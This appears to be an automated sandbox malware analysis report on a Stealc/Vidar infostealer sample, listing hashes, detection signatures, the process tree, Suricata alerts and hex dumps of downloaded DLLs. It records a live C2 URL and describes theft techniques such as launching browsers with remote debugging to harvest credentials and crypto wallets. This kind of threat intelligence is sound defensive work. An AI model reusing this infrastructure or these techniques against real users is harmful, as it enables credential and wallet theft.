Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1544044
MD5:	f5693bd68a0cbe830d0ef2bc9d6874e6
SHA1:	fdd8152892fcf61c837db3c8ca4babca6bc61740
SHA256:	e9c7b96f254a6ee8c0a1a04a8416a3f62a15d687fc41cf9216f7daa007d5ad64
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2792 cmdline: "C:\Users\user\Desktop\file.exe" MD5: F5693BD68A0CBE830D0EF2BC9D6874E6)

chrome.exe (PID: 5460 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6004 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2208,i,3093689444487750975,6565442799482959495,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 8068 cmdline: "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7496 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2204,i,12172044377707494859,3018928123666572139,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7520 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7940 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2636 --field-trial-handle=2444,i,3242139009676806083,16827276885028577039,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8340 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6696 --field-trial-handle=2444,i,3242139009676806083,16827276885028577039,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8348 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6852 --field-trial-handle=2444,i,3242139009676806083,16827276885028577039,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8736 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6932 --field-trial-handle=2444,i,3242139009676806083,16827276885028577039,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2063912669.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2486320948.0000000000361000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2489025666.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 2792	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 2792	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 2792	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2792	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.360000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 2792, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 5460, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T18:43:04.599361+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T18:43:04.589019+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T18:43:04.880864+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T18:43:05.992238+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T18:43:04.888416+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T18:43:04.289044+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T18:43:06.523815+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-28T18:43:34.066790+0100	2803304	3	Unknown Traffic	192.168.2.5	63519	185.215.113.206	80	TCP
2024-10-28T18:43:35.375344+0100	2803304	3	Unknown Traffic	192.168.2.5	63519	185.215.113.206	80	TCP
2024-10-28T18:43:35.974324+0100	2803304	3	Unknown Traffic	192.168.2.5	63519	185.215.113.206	80	TCP
2024-10-28T18:43:36.639436+0100	2803304	3	Unknown Traffic	192.168.2.5	63519	185.215.113.206	80	TCP
2024-10-28T18:43:39.419525+0100	2803304	3	Unknown Traffic	192.168.2.5	63519	185.215.113.206	80	TCP
2024-10-28T18:43:40.312305+0100	2803304	3	Unknown Traffic	192.168.2.5	63519	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.360000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0.2.file.exe.360000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5B6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C5B6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:63689 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.51:443 -> 192.168.2.5:63429 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:63431 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:63433 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.71:443 -> 192.168.2.5:63478 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.71:443 -> 192.168.2.5:63505 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:63766 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2511742254.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2486320948.000000000038C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2063912669.0000000004B1B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2512032465.000000006CFA1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2486320948.000000000038C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2063912669.0000000004B1B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2512032465.000000006CFA1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2511742254.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 40MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic	TCP traffic: 192.168.2.5:63462 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.5:63423 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 17:43:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 17:43:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 17:43:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 